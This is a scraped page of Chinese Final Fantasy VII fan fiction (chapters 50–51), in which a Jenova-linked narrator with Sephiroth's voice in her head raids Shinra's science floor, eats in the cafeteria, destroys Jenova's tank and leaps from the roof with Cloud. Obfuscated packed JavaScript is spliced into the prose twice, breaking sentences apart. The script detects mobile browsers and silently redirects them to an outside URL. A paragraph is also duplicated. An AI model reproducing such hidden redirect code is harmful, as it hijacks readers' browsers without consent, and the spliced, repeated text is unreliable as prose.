“妈妈,母亲,杰诺瓦大王,我的未来保安,喂喂喂,听得见吗?” 好像有什么奇怪的东西混进去了。 【“我在思考。”】 萨菲罗斯的声音重新响起。 然后他就不说话了。 我觉得他是在故意等我问他—— 呵呵,我就不问他,让他憋着吧。 【“我能捕捉到你的部分想法。”】 “……” 【“从你的记忆觉醒开始。还有,你喜欢的那本小说情节我已经倒背如流了。”】 叮—— 一声清脆的提示音响起,电梯缓缓停了下来。数字最终定格在“67”。 电梯门无声地向两侧滑开。 与楼下大厅不同,67层显得异常安静整洁。 这是一条宽阔明亮的走廊,地面铺着光洁的白色瓷砖,墙壁是冰冷的金属材质,天花板上镶嵌着柔和的照明灯带。空气中弥漫着一股淡淡的消毒水气味,还有一丝不易察觉的、类似臭氧的味道。 典型的神罗科研区域风格——冰冷,高效,没有人情味。 我太熟悉这里了,我就是从67层的某个绿色罐子里爬出来的。 暂时先放弃用轻小说情节在脑内轰炸萨菲罗斯的想法,我扯了扯身上的黑袍,走了出去。 安静,甚至是死寂。 看来神罗的聪明人很多,他们知道跟我对抗几乎等于螳臂当车—— 在神罗那个富裕的,有萨菲罗斯的年代,我都能把总裁做掉。 安静,甚至是死寂。 看来神罗的聪明人很多,他们知道,跟我对抗几乎等于螳臂当车—— 毕竟在神罗那个富裕的,有萨菲罗斯的年代,我都能把总裁做掉。 【“。”】 真不知道他突然冒出来是想做什么。 我在脑内狠狠戳了一下萨菲罗斯。 ?? 现实里,我顺着感应中的道路,一路往前。 走廊的尽头出现了一个岔路口,左边通往高级研究员的独立实验室区,右边则是通往核心实验区,杰诺瓦应该就存放在那里。 正当我准备向右转时,左侧一扇标着“B-07”的实验室门突然“咔哒”一声轻响,似乎是从内部被打开了一条缝。 我停下脚步,饶有兴致地看了过去。 哦?居然还有漏网之鱼? 门缝后面,一双因为恐惧而瞪大的眼睛正透过缝隙窥视着外面。那眼神的主人似乎在极力抑制着呼吸,但身体的颤抖却出卖了他。 是个穿着白色研究服、戴着眼镜的年轻男人,看起来像是那种刚毕业没多久的实习生或者低级研究员,脸色苍白得像纸,额头上布满了冷汗。 我勾起嘴角,冲着门缝挥了挥手:“嗨?需要帮忙吗?” 门猛地关上了,还传来了里面反锁的声音,以及压抑的、带着哭腔的呜咽。 “别…别过来!我什么都不知道!别杀我!”年轻研究员的声音隔着厚重的金属门传来,带着绝望的颤抖。 ”是吗?你知道员工食堂在哪吧,现在神罗的伙食怎么样?“ 从魔晄炉里爬出来到现在,我还没吃过任何东西。 嗯,嘴巴饿了。 我竖起手指,对门露出一个笑容。 ”如果你说不知道,我就把你杀了。如果你说伙食不好,我也把你杀了。“ ?“……!!” 门后的呜咽声陡然拔高,变成了压抑不住的、带着绝望的抽泣。 金属门板传来一阵急促而混乱的撞击声,像是里面的人因为极度的恐惧而失去了平衡,撞在了门上,又或者是想逃离,却发现无路可去。 “别,别杀我!求求你!我说!我都说!” 年轻研究员好像彻底崩溃了,语无伦次,带着浓重的哭腔和牙齿打颤的声音。 “食,食堂!我知道!员工食堂在,在65层!对,就是65层西侧!一直走到头就能看见!很大的牌子!” 他似乎生怕我说不知道,一口气把位置信息吼了出来,声音因为用力过度而尖锐刺耳。 “伙食…伙食也,也还行!真的!” 他急切地补充道,声音抖得像筛糠。 “午餐,午餐有A、B、C三种套餐可选!A套餐是,是烤肉排配土豆泥,B套餐是,是海鲜焗饭,C套餐是,是素食咖喱!都,都还不错的!真的!尤其是A套餐的肉排,很多人都喜欢!” “晚餐的话,种类更多!有面条,有盖饭,还有自助餐!对!自助餐!每天都有特色菜!昨天是,是照烧鸡腿!很好吃的!我昨天还吃了两个!” “甜点!还有甜点!提拉米苏和水果挞!味道很正宗!真的!求求你,别杀我!我知道的都告诉你了!” 什么,路法斯上任后,食堂居然多了这么多花样。 我对着门缝说道:“嗯,A套餐听起来最棒。既然你这么推荐,那我就去尝尝。” --- 65层。 周围静悄悄的,只有一级警报的红光还在单调地闪烁,提醒着这里并非寻常的用餐时间。 【“你的关注点总是如此…务实。”】 【“我们是来取回‘母亲’的,不是来品尝员工餐的。”】 我端着标着A餐的盘子,开始挑东西,顺便又多拿了一个空的盘子。 看来好像正好是晚饭的时间,这里的东西还都热乎。 一边挑选,我一边严肃的回复萨菲罗斯。 “吃饭可是人生大事!连饭都吃不好,还怎么有力气毁灭世界、当盖亚皇帝?” 最后我端着几乎要溢出来的餐盘,找了个靠窗的空位坐下。 闻起来真香啊。 “萨菲罗斯,你闻得到吗?” 这次,我不是在脑内与他对话,而是将话说了出来。 空荡的食堂回荡着我的声音。 这A套餐的烤肉排,外层焦香酥脆,内里肉汁饱满,火候恰到好处,配上旁边细腻顺滑的土豆泥和淋在上头的浓郁黑椒汁,味道简直绝了! 【“‘闻’?”】 他似乎在品味这个词。 【“物理层面的嗅觉,我已经不再拥有。空气中弥漫的脂肪和蛋白质高温反应后产生的芳香烃分子,无法再刺激我的神经末梢。”】 我叉起一大块肉排塞进嘴里,幸福地眯起了眼睛。旁边还有金黄酥脆的炸薯角、新鲜爽口的蔬菜沙拉,甚至还有一小份看起来就很诱人的草莓布丁。 真是丰盛啊。比起第五区那些干巴巴的面包和不知道用什么边角料做的炖菜,这里简直是天堂。 我敲了敲叉子,插起一块肉,然后,放到了我刚刚特地放到对面的空餐盘里。 “给你的。你能吃到吗?” 肉排还冒着热气,表面覆盖着浓郁的酱汁,看起来美味可口。 低头,我又闷了一口饭,再一抬头。 那个肉排居然不见了。 “!!!” 我瞪大了眼睛,死死盯着对面那个空空如也的餐盘。 没错,就是空了。 那块我刚刚叉过去、还冒着热气、淋着浓郁黑椒汁的烤肉排,就这么凭空消失了。连带着餐盘上沾染的些许酱汁和油渍,也消失得干干净净,仿佛从未存在过一样。 周围的空气没有任何波动,没有能量反应,没有空间扭曲的迹象。 “喂…萨菲罗斯?你吃掉了?” 我放下叉子,身体微微前倾,仔细观察着对面的空位和餐盘,试图找出一点蛛丝马迹。 【“用‘吸收’更准确。”】 我咬着叉子。 “呃……那好吃吗?” 【“确实不错。肉质鲜嫩,酱汁浓郁。神罗的伙食水平,看来在路法斯上任后有所提升。”】 这家伙…不仅真的“吃”了,还吃出了味道?! 而且我居然一点都没察觉。 他如果抢我的东西吃怎么办? 【“……不会。”】 “真的?”我挑了挑眉,又叉起一块金黄酥脆的炸薯角,在空中晃了晃,“那我可记住了啊。要是下次我吃到什么绝版限定口味的零食,你敢偷偷‘吸收’掉,我就…” 我故意拖长了音调,眼珠转了转,思考着什么威胁比较有分量。 有了! “等我打败你后,我就天天让你扫厕所!” 【“呵…这么自信?”】 脑海中传来一声低沉的轻笑。 【“幼稚的威胁。不过,既然你如此看重那些‘绝版限定’,我自然不会与你争抢。”】 【“我的‘食粮’,并非此物。”】 他的话语意有所指,带着某种更深层次的暗示。食粮?指生命之流?还是别的什么? 我撇了撇嘴,没再追问。反正这家伙说话总是云里雾里,问了也未必会说实话。 我低头继续消灭盘子里的食物。烤肉排确实不错,土豆泥也很绵密,薯角香脆可口,沙拉新鲜解腻。就连那份看起来很普通的草莓布丁,入口即化,甜而不腻,带着浓郁的奶香和草莓的清甜。 真没想到神罗的员工餐水准这么高。路法斯那小子,还挺会收买人心的嘛。 我风卷残云般解决了战斗,用餐巾纸擦了擦嘴,满足地打了个饱嗝。能量补充完毕,感觉整个人都精神了不少。 该干正事了。 不过…在走之前… 我站起身,端起空餐盘,没有走向回收处,而是径直走向了旁边一个看起来像是甜点和零食补给的区域。 透明的玻璃柜里摆放着各种小蛋糕、饼干、能量棒,还有几个自动贩售机。 “看看有什么好东西…” 我趴在玻璃柜上,眼睛发亮地扫视着里面的存货。 提拉米苏?刚才吃过了。 水果挞?看起来一般。 哦?这个巧克力熔岩蛋糕好像不错! 还有这个抹茶味的冰淇淋大福! 能量棒…这个牌子的没吃过,拿两根试试。 曲奇…这个包装花里胡哨的,看起来像新品,也拿一盒。 哇,陆行鸟饼干!我要了。 很快,我的怀里就抱满了各种零食和甜点,几乎要拿不下了。克劳德的连帽衫口袋也被塞得鼓鼓囊囊。 【“……”】 我命令他。 “萨菲罗斯,快用你的超能力把这些东西储藏起来。” 【“超能力?你对力量的理解,还真是…简单直白。”】 尽管语气微妙,但他似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479195|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎并没有拒绝我的意思。 我只感觉怀里抱着的、口袋里塞着的那些零食甜点周围的空间发生了极其细微的扭曲,一种冰冷而强大的力量如同无形的薄雾般将它们包裹。 下一秒,所有的零食都消失了,连带着包装袋摩擦的细微声响和甜腻的香气,都如同被橡皮擦抹去一般,了无痕迹。克劳德那件略紧的连帽衫口袋也恢复了平坦。 “哇哦!”我不由自主地发出一声惊叹,低头看了看空空如也的怀抱和口袋,“还真方便啊!这是什么?四次元口袋?” 【“一个临时的亚空间。不稳定,只能存放少量非生命物质,而且维持不了太久。”】 萨菲罗斯的声音听起来很平淡,像是在解释一个不值一提的小把戏。 【“如果你想要更稳定的储物能力,等你完全掌握了 Chaos 的力量后,或许可以尝试自己构建。”】 我没理他,心神一动,一包陆行鸟饼干就出现在了我的手里。 然后一下,它又消失了。 又出现。 真方便啊! “好了,零食时间结束。” 我伸了个懒腰,骨头发出轻微的噼啪声。“该去办正事了。” --- 10分钟后。 实验室的最深处,占据了几乎整个一面墙的,是一个巨大无比的圆柱形魔晄容器。 淡蓝色的魔晄能量在容器内缓缓流动,散发出柔和却又蕴含着庞大力量的光晕。透过厚厚的强化玻璃和流动的魔晄,可以看到一个模糊的人形轮廓悬浮其中。 那就是杰诺瓦。 或者说,是杰诺瓦剩下的躯体。 我慢慢走近,脚步声在空旷寂静的实验室里显得格外清晰。 越是靠近,那人形轮廓就越是清晰。苍白的、仿佛没有一丝血色的皮肤,修长而扭曲的四肢,身上连接着各种粗细不一的管线,像是维生装置,又像是某种束缚。 身体呈现出一种非男非女的怪异美感,散发着超越尘世的、冰冷而诡异的气息。 我与舱内杰诺瓦的躯壳面面相觑。 “萨菲罗斯,我们妈的头去哪了?” 【“头?”】 萨菲罗斯的语调微微上扬。 【“它自然在它该在的地方。”】 谜语人真讨厌。 我伸出手,将其覆盖在舱门上。 哐当一下,然后是能量压缩造成的爆炸。 我特地控制好了力度,这样的话只会炸坏门…… 挥手扇开眼前的灰烬,眯着眼看向原本放置巨大魔晄容器的地方。 那里现在只剩下一个深坑,坑底和周围的墙壁一片焦黑,扭曲的金属碎片和破碎的玻璃渣散落得到处都是,空气中弥漫着魔晄泄露特有的臭氧味和能量燃烧后的焦糊气。 容器,以及里面的“妈妈”,都没了。真的被我一巴掌给扇没了。 “萨菲罗斯,我好像把我们妈炸没了。” 这下可好,连渣都不剩了。本来还想近距离观察一下“妈妈”长什么样,顺便看看有没有什么零件能拆下来当纪念品的。 【“……”】 【“我已经吸收了。”】 “吸收?就刚才那一瞬间?那么大一个东西,你怎么吸收的?” 我表示怀疑,同时开始在废墟周围转悠,试图找到点“妈妈碎片”。 【“没有必要欺骗你。杰诺瓦的核心就在那里,我只是……回收了属于我的东西。”】 正当我准备继续问他细节之时,整个实验室的灯光轰的一下熄灭了。 有些像神罗的紧急预案之三。 什么?我为什么会知道? 因为我只背了这个会全部停电的,一起上通识课的时候,年少的萨菲罗斯经常在我耳边念叨。 “灯光的闪烁频率和光暗代表着几级警报?是处理什么情况的?” “不知道。” “……那你应该记住第三预案。” 银发少年抿了抿唇,在我不耐烦的眼神下,指了指讲台。 “会全部停电,也就是——我们不用再上课了。” 【“紧急预案三,代表着多方势力。”】 紧急预案三。多方势力介入。 这通常意味着神罗判断入侵者的威胁等级已经超出了常规安保部队的处理能力,并且可能有复数的目标或势力同时在建筑内活动,情况复杂,需要采取最高级别的封锁和应对措施。 我将面罩扯上。 “不用你多说,这个我记得。” 失去了视觉,其他的感官反而变得更加敏锐。 空气中残留的硝烟味、金属燃烧后的焦糊味、若有若无的血腥气,还有杰诺瓦容器破碎后散逸出的、极其微弱的能量残留气息,如同不同颜色的丝线,在黑暗中勾勒出空间的轮廓。 更深层次的,是那些涌动在黑暗中的“意志”或者说“能量场”。 大部分都很微弱,是普通人类因恐惧、紧张而散发出的情绪波动,大概是其他楼层还没来得及撤离的倒霉蛋。 但其中,夹杂着几个明显不同的、更强大、更凝聚、也更冰冷的能量信号。它们正在移动,速度很快,目标明确——似乎正是朝着我所在的67层而来。 还有另外几个,在我感知里……十分奇怪的。 人? 53. 第50章 10分钟后,我将散发着霓虹光的大太刀收鞘。 实验失败的几个畸形怪物在地上发出最后的嘶吼,我抬脚,将它们的头颅踩碎。 脚下的触感黏腻而滑溜,混杂着碎骨和某种胶状物质,空气中弥漫的血腥味更浓了,还夹杂着一股浓烈的、类似福尔马林的化学药剂味道,以及生物组织腐败的恶臭。 宝条那家伙,审美还是一如既往地糟糕,搞出来的东西都这么歪瓜裂枣,还一股怪味。 黑暗并未因战斗的结束而散去,只有应急指示灯在墙角和天花板边缘投下微弱的绿光,勾勒出模糊的轮廓,但也仅限于此。 更远的地方,依旧是深不见底的漆黑。 【“清理干净了?”】 ??萨菲罗斯的声音适时响起。 “嗯哼。”我随口应着,甩了甩靴子上沾染的不明液体,“小喽啰而已,不够塞牙缝的。” 感知再次波动,又有新的“东西”正在从更深处涌出来。 而且不止一个。 比起刚才那些行动迟缓、只知道嘶吼扑咬的失败品,这次来的家伙们,能量波动明显更强,移动速度也更快,带着一种更加纯粹、更加冰冷的恶意。 它们的目标很明确,就是我这里。 嗯?那几个人类的能量居然越来越近了—— 【“你不该在这里浪费时间。去顶楼。”】 “我知道,我知道。” 我不耐烦地回应着,目光扫向黑暗的走廊深处。 沉重的脚步声、金属刮擦地面的刺耳噪音、以及某种湿滑物体蠕动的声音,正由远及近,越来越清晰。 没有犹豫,遵循着萨菲罗斯的指令,我轻车熟路的从黑暗中找到紧急楼梯。 我的速度很快,不一会就爬到了尽头。 推开消防门—— 强劲的气流裹挟着米德加高空特有的冰冷和淡淡的金属锈味扑面而来,吹得我身上的黑袍猎猎作响。 兜帽几乎要被掀飞,我伸手按了按,眯起眼睛适应着突然的光亮和开阔的视野。 头顶是轰鸣的旋翼,巨大的噪音几乎盖过了楼内持续不断的警报声。 一架涂着神罗标志的武装直升机悬停在停机坪上方几米处,探照灯雪亮的光柱毫不客气地打在我身上,将周围的一切都映衬得如同白昼。 透过驾驶舱的玻璃,我能清楚地看到里面坐着的人。驾驶员和副驾驶都是标准的塔克斯成员,穿着黑色西装,戴着墨镜,表情冷峻。 而后座上,一个穿着白色西装、金发梳得一丝不苟的年轻男人,正透过舷窗,用一种极其复杂、难以言喻的眼神看着我。 路法斯·神罗。新鲜出炉的神罗公司总裁。 他爹,前任总裁,几年前刚被失控状态下的我杀了。 啊,真是尴尬的重逢。 我咧开嘴,冲他露齿一笑,还抬起手挥了挥,算是打个招呼。 毕竟,严格来说,我去他家食堂吃了顿霸王餐,顺便“拿”了点零食,现在又站到他家的楼顶上,感觉怎么也得表示一下友好? 路法斯的嘴角似乎抽动了一下。 “好久不见啊,路法斯。” 我的声音被风吹得有些飘忽,但我确信他能听到。 “几年不见,出息了嘛,都当上总裁了,不用谢。你的摩托停哪了?能送给我当礼物吗?” 那双隔着舷窗玻璃的、颜色如同冰封湖泊般的蓝眼睛,一眨不眨地盯着我。 “你的记性倒是不错。” 路法斯开口,声音透过直升机的通讯系统传出,带着些微的电流杂音,但语气却异常平稳,听不出太多的情绪波动,只有一种刻意维持的、属于上位者的冷静。 “那辆限定版的哈迪·戴德那。可惜,它现在不在米德加。” 他顿了顿,微微侧头,似乎是在打量我此刻的穿着。 “不过,看你现在的样子,似乎更需要一身合身的衣服,而不是一辆摩托车。” 他的视线在我身上那件明显属于别人的黑色连帽衫上停留了一瞬,嘴角勾起一个极浅的、带着嘲讽意味的弧度。 “多年不见,你的品味还是这么…别具一格。” 这种嘲讽伤不到我一点。 ?并且,我也觉得克劳德的品味差。 【“他在拖延时间。楼下的东西快上来了。而且,另一批‘客人’也快到了。”】 “另一批客人?”我挑眉,“谁啊?你认识?” 【“几个不成气候的老鼠罢了。不值得你费心。”】 他的语气轻描淡写,显然不想多谈。 【“但宝条的那些‘杰作’,可能会有点麻烦。离开这里。”】 “哦,行——” 思绪刚刚落下,我身后的门应声而破。 一团形态扭曲、散发着浓烈恶臭的生物爬了出来。 我的刀身刚凝聚了一半,不知从哪里出现的剑刃忽的将怪物从后捅穿,沉闷的穿刺声和怪物濒死的嘶鸣响起。 那把熟悉的、刻满古怪符文的大剑接着干净利落地将那一团扭曲生物钉在了地上,随即猛地一甩,沉重的尸体被抛飞出去,在停机坪坚硬的地面上翻滚了几圈,留下黏腻的绿色血迹和令人作呕的腐臭。 阴影中,那个身影完全显露出来。黑色连帽衫,同色的长裤,略显单薄但挺拔的身姿,以及那头标志性的、不羁竖立的金色陆行鸟发型。 克劳德。 他维持着挥剑的姿势,符文剑斜指向下,剑尖滴落着怪物的血液。他缓缓抬起头,那双映着魔晄幽光的青色眼眸朝我看来。 “……” 直升机不知何时离开了。 --- 糟糕,有点尴尬。 为什么要这样看着我? 感觉像是在菜市场偷东西,结果居然被老板本人抓了个正着。 在克劳德身后,有几个熟悉的身影也跟了上来。 第一个就是扎克斯,他瞪大了眼睛。 然后是爱丽丝?她怎么来了这个地方?要是她出事了,谁给我当科学部部长啊。 蒂法,哦对,好像是克劳德的熟人。 还有那个光头,以及—— 克劳德猛地冲了过来。 “……?” “克劳德!等等!” 扎克斯焦急的大喊声从后面传来,他正奋力追赶着克劳德,试图阻止他这不明所以的行动。 “前辈她不是敌人!你冷静点!” 扎克斯的声音被猎猎风声吹散,克劳德充耳不闻。 但他并没有挥剑,而是伸出了空着的左手,径直朝我的手臂抓来。 搞什么啊! 我脚尖一点,身体向侧后方滑开半步,险之又险地避开了他抓来的手。 手臂带起的劲风刮过我的脸颊,带着一丝凉意。 用这么大力? “——克劳德,你发什么疯?” 我皱起眉头。 “……你那封信是什么意思?” “字面意思啊。” 我又往后退了一步,再次躲开了他的动作。 不是,这陆行鸟吃错药了吗?还是说吃到不良农场产出的野菜了? 【“他追来了。真是…顽强的人偶。”】 【“看来上次给他的教训还不够深刻。”】 萨菲罗斯的声音冰冷。 但是我怎么记得上次是他被打跑了呢? “字面意思?” “你要复活萨菲罗斯?” “你要毁灭世界?” 他的语速很快。 ?最后,为了抓住我,甚至那把剑都被他丢在了地上。 金属落地,发出清脆的响动。 “对啊。” 我被逼到了天台的边缘。 身后是万丈高空和被钢铁圆盘切割的、阴沉的米德加夜空,脚下冰冷的金属地面触感清晰。再退一步,就是坠落。 风卷起黑袍的衣角,同时掠过他额前的金色发丝,那抹浅青色的眸子因为我毫不犹豫的回答稍稍愣怔。 我皱着眉。 ”你阻止不了我的。你太弱了。“ 克劳德张了张嘴。 往日里大多都冷静的,会充斥着无奈的,时不时会是郁闷的,沉寂的,痛苦的眸子—— 此时里面好像闪烁着什么。 又黯淡下去。 “……” 这是一种怎样的表情? 我不知道。 难以形容。 比我以前看过的任何一本轻小说男主角的插画都要复杂一百倍。 我好像听见了几个破碎的音节。 是因为风太大了吗? 真麻烦。 —— 〖 “前辈!”〗 〖“前辈,你别冲动!克劳德他…他只是看了信太激动了!我们有话好好说!”〗 〖“克劳德,你冷静一点。到底怎么了?”〗 〖 ”克劳德,我们等会回去再谈谈好不好?不要这样——“〗 〖 ”姐姐,你真的要这样做吗?“〗 〖 “喂!你这家伙!到底对克劳德做了什么?!离他远点!” 〗 —— 形形色色的声音。 —— 然而,克劳德对身后同伴们的呼喊和疑问置若罔闻。 他的视线始终锁定在我身上,仿佛整个世界只剩下我们两个人。 那紧抿的唇角微微颤抖着。 “……” —— 克劳德的记忆如同破碎的镜子,只能反射出扭曲模糊的片段。 尼布尔海姆的火光,母亲的脸庞,蒂法的眼泪,冰冷的魔晄,还有…一抹挥之不去的银色,和这双此刻正注视着他的莹绿色眼眸。 某个时候,他一直在懊悔的东西。 某个瞬间,他拼命想抓住的东西。 “我总是后悔,也只能后悔。” “听起来,‘后悔’好麻烦。” 她托腮看他。 “现在,真的有这么糟糕吗?” 有那样的糟糕吗? —— “……不行。” 话音未落,他猛地向前踏出一步。 我顺势,往后,直接从天台的边缘跃下。 克劳德拼尽全力的伸出手,他瞪大眼睛,俯下身,想要抓住我。 我听见了仿佛是从他喉咙里溢出的音节。 “不……” 这点微弱的声音很快就被他人的惊呼声和坠落的风声所遮盖,然后模糊、远去,化为消逝的背景音。 凛冽的高空强风呼啸着灌入我的兜帽和衣领,将黑色的袍角吹得猎猎作响。 失重感包裹着全身,对我而言,不像是令人恐惧的坠落,反而更像是一种挣脱束缚的、奇异的自由。 米德加那由钢铁、霓虹和阴影构成的庞大身躯在我眼前飞速旋转、放大。 上层圆盘璀璨的灯火如同打翻的珠宝盒,散发着冰冷而虚幻的光芒;下层贫民窟隐藏在浓稠的黑暗之中,只有零星昏黄的光点闪烁,如同垂死的萤火。 这种俯瞰众生的视角,倒确实有那么点“皇帝”的意思。 “喂,萨菲罗斯,风景不错吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杂乱的声音被狂风撕扯得支离破碎,但那份焦急和恐慌却清晰地传递过来。 而那个往下掉的金毛,似乎完全没听到身后的呼喊,他的身体在空中因为不受控制而笨拙地翻滚着,唯一不变的是,他的视线—— 那双在此刻显得异常明亮的青色眼眸,始终死死地锁定在我身上。 【“真是感人至深的追随。可惜,只是飞蛾扑火。”】 【“无需理会他。加速离开,他只是个不自量力的人偶,他的结局早已注定。”】 我罕见的。 不知该说些什么。 因为下落的速度比我快,他很快就到了我身前。 我不得不将能力延伸,在他把我压成肉饼前,用能量削减他的重力和冲击力。 最终,像是一片云一样—— 克劳德坠入我的怀里。 却又温热。 我能看到他颤抖的瞳孔,能感觉到他抓着我肩膀的,执拗的力道。 高空的风更加猛烈了,灌入我的兜帽,吹得我脸颊生疼。我不得不眯起眼睛,才能看清怀里这家伙的脸。 金色的发丝被狂风吹得乱七八糟,有几缕甚至糊到了我的脸上,痒痒的。 克劳德的呼吸急促而滚烫,温热的气息喷在我的脖颈间,带着细微的颤抖。 这家伙…是真的被吓到了,还是别的什么? “喂,克劳德,”我忍不住开口,声音被风吹得有些变形,“你是不是蠢?从那么高的地方跳下来,不要命了?” “……” 他没有回答,只是抓着我的手臂更紧了,嘴唇抿成一条苍白的直线。 于是我勉强抬起一只手,扯了把他的头发。 “陆行鸟,你——” “雪球已经两天没有洗澡了。” 哦,那只蠢猫。 只有我能把它压着洗澡。 “我和扎克斯最近只吃泡面。” 难道我在的时候不是也吃泡面吗? 对了,我在的时候会挤钱吃烤肉。那都是我靠口才和坑蒙拐骗拉来的赞助费啊。 “你的漫画,有点受潮了。” 你们是怎么看管的?我明明包装的很认真。 我之前不是强调了不允许打开客厅的第二个窗户吗? 在兜帽里的些许银发有些压不住了,翘了起来。 和他那头乱糟糟的陆行鸟毛混在一起。 我的脖子更痒了。 “……我们的手机数据丢失了,你储存的图片都不见了。” 你的意思是我珍藏的陆行鸟表情包也不见了吗? “……” “那只猫不爱洗澡就让他脏着吧,吃泡面你们记得加个蛋,我漫画之后再买,表情包可以重拍。” 克劳德将头压在我的脖颈上。 我看不清他的表情,只看到了在夜色下,他稍稍颤抖的肩膀。 “雪球……其实很爱干净,因为它只亲近你。” “你之前不是说,不想再吃泡面,要吃烤肉吗?” “漫画,也只有你一个人看。” “……照片,不要新的。” “只要原来的,只要——” 【“我有个办法。”】 【“再等10秒,我可以具现。”】 【“让我来切断他的手臂,或者,直接抹除他的意识。”】 “好了你闭嘴吧,我自己来。” 我伸出手,一个手刀将克劳德打晕。 他未尽的话语戛然而止,金发男人彻底软在我身上。 我盯着米德加的夜空,吐出一口气。 靠,灰蒙蒙的。 当扎克斯一行人从楼顶跑下来之时,只看到了晕倒在地上的克劳德。 还有一袋在他身侧的陆行鸟饼干。 『最终幻想7的故事正式开始了。』 54.第51章 几天后。 东部草原。 我骑着一只白色陆行鸟在草原上驰骋。 就在昨天,我深夜突袭了附近的陆行鸟牧场。没想到正好与牧场主伊娜撞了个正着,为了“支持”我的登基大业,她将牧场里最好的白毛陆行鸟给予了我。 嗯,等我当上皇帝,高低要给她封个“弼鸟温”当当。 这只鸟很怕我,就连现在,它都还在发抖——大概是我是人憎狗嫌的jenova。 “银发长毛怪,冲啊!” 我扯了扯它脖子上的缰绳,继续发表号令。 “咕嘎——” “银发长毛怪”(暂定)发出了一声叫声,听起来更像是受惊的哀鸣。它认命般地加快了速度,四蹄翻飞,在广袤无垠的草原上拉出一道白色的残影。 我扯了扯身上这套快包浆的黑袍。 下一个目的地是……珠诺。 啧,去那里换一套衣服吧。 东部草原的风带着青草和泥土的湿润气息,呼啸着掠过耳畔。身下的白色陆行鸟跑得飞快,柔软的长羽毛随着奔跑的节奏起伏,像是一团滚动的巨大棉花糖。 “喂,萨菲罗斯。” 我在脑海里呼唤他,语气带着几分不耐烦。 “还没消气呢?不就是没听你的把那个金毛陆行鸟处理掉吗?” 寂静。 除了风声和陆行鸟奔跑的蹄声,脑海里一片空白,那个熟悉的声音如同石沉大海,没有任何回应。 从那天后,萨菲罗斯就不理我了。 我知道萨菲罗斯拿我没办法,我身上有一半的Chaos,他无法像控制其他杰诺瓦分身那样控制我,影响我,最多只是在我脑子里说话。 而且萨菲罗斯吵架也吵不过我。 所以他不爽的时候,除了沉默也做不了别的,除非具现出来揍我——又不是完全体,也打不过我。 草原的风有股泥土的咸腥味,我压榨着陆行鸟,一边悠闲的想东想西。 对了,他是怎么死的呢? 好好奇啊。 于是我在杰诺瓦的资料库里开始寻找—— “噗——” 萨菲罗斯居然是被克劳德甩下魔晄炉的。 我笑得一直在抖,几乎要从“银发长毛怪”的背上栽下去。眼泪都飙出来了,肚子也笑得生疼,但我就是停不下来。 身下的白色陆行鸟被我剧烈的动作搞得更加不安,发出一连串惊恐的“咕嘎”声,脚步也变得踉跄起来,差点把我俩都掀翻在地。 “喂!稳住!跑你的!” 我一边笑得上气不接下气,一边勉强拍了拍它的脖子,试图安抚这只可怜的坐骑。但显然,我那抑制不住的笑声对它来说才是更大的惊吓源。 —— 不可一世的萨菲罗斯,带着毁灭世界的决心和对“母亲”的执念,被一个根本不熟的神罗小兵,用纯粹的力量掀翻,然后像丢垃圾一样丢进了魔晄里。 不过克劳德力气真的很大,几天前我都感觉要跑不掉了。 【“偷袭,和运气。仅此而已。”】 哦?终于肯说话了? “承认吧,你就是被打败了。”我毫不留情地戳穿他,“被一个你眼中的‘人偶’,在你最意气风发的时候。啧啧,真是……” 【“……”】 又装死了。 于是我在脑海里戳他。 —— “喂喂,别装死啊。” 又戳了一下。 “不就是被小兵打败了嘛,有什么大不了的。” 再戳。 在我锲而不舍的拿萨菲罗斯找乐子之时,身下陆行鸟的动作将我从精神世界里唤醒。 这只陆行鸟不动了。 前方好像是个类似于沼泽的地方。 墨绿色的泥水表面漂浮着一些不明植物的腐烂叶片和几根森白的骨头,时不时冒出一串浑浊的气泡,破裂时散发出浓烈的、混合着硫磺和腐肉的恶臭。 空气潮湿而黏腻,压抑得让人喘不过气。远远望去,沼泽深处似乎有一些巨大的、如同小山丘般的阴影在缓慢移动。 米德加巨蟒(Midgardsormr)。 哦,不知道我之前任务杀的是它的妈妈还是爸爸。 我捏了捏陆行鸟的脖子。 “萨菲罗斯二号,你怎么怕这个?你这样以后怎么做我的皇家坐骑?” 【“。”】 “咕嘎嘎——!” 白色的陆行鸟发出了哀鸣,两条腿抖得像风中残烛,脖子上的羽毛都炸了起来,活像一只受惊过度的大号毛绒鸡。 它死死地钉在原地,任凭我怎么用脚跟踢它的侧腹,或者拽它脖子上的缰绳,就是不肯再往前踏一步。那双圆溜溜的黑色眼睛惊恐地盯着前方那片泛着暗绿色、散发着腐烂气息的泥沼,瞳孔缩成了两个小点。 “喂,我说你啊。” 我伸出手指,戳了戳它毛茸茸的后颈。 “前面那几条泥鳅有什么好怕的?不就是长得大了点,丑了点吗?再说了,就算它们想不开要来咬你,有我在,你担心个什么劲?” “咕嘎!咕嘎嘎——!” 白色的陆行鸟非但没有被我的话安慰到,反而抖得更厉害了,脑袋拼命往后缩,试图远离那片散发着不祥气息的沼泽。 切,胆小鬼。 我失去了耐心。讲道理不管用,看来只能来硬的了。 我抬起脚,准备用靴跟狠狠地给它来一下,逼它往前走。但转念一想,万一这家伙被踢急了,直接把我甩下去怎么办?虽然摔不死,但弄一身泥也挺麻烦的。 要不…换个思路? “萨菲罗斯,”我再次在脑海里呼唤那个装死的家伙,语气轻快,“你看,萨菲罗斯二号不听话了,这可怎么办?要不你显个灵,吓唬吓唬它?” 依旧是沉默。 仿佛我的意识深处变成了一片没有信号的荒漠。 “啧,没劲。”我撇了撇嘴,“一点幽默感都没有。难怪会被克劳德那种闷葫芦打败。” 话音刚落,我敏锐地捕捉到意识深处传来一丝极其细微的能量波动,冰冷而锐利,如同针尖划过冰面,一闪即逝。 “干嘛?戳到痛处了?” 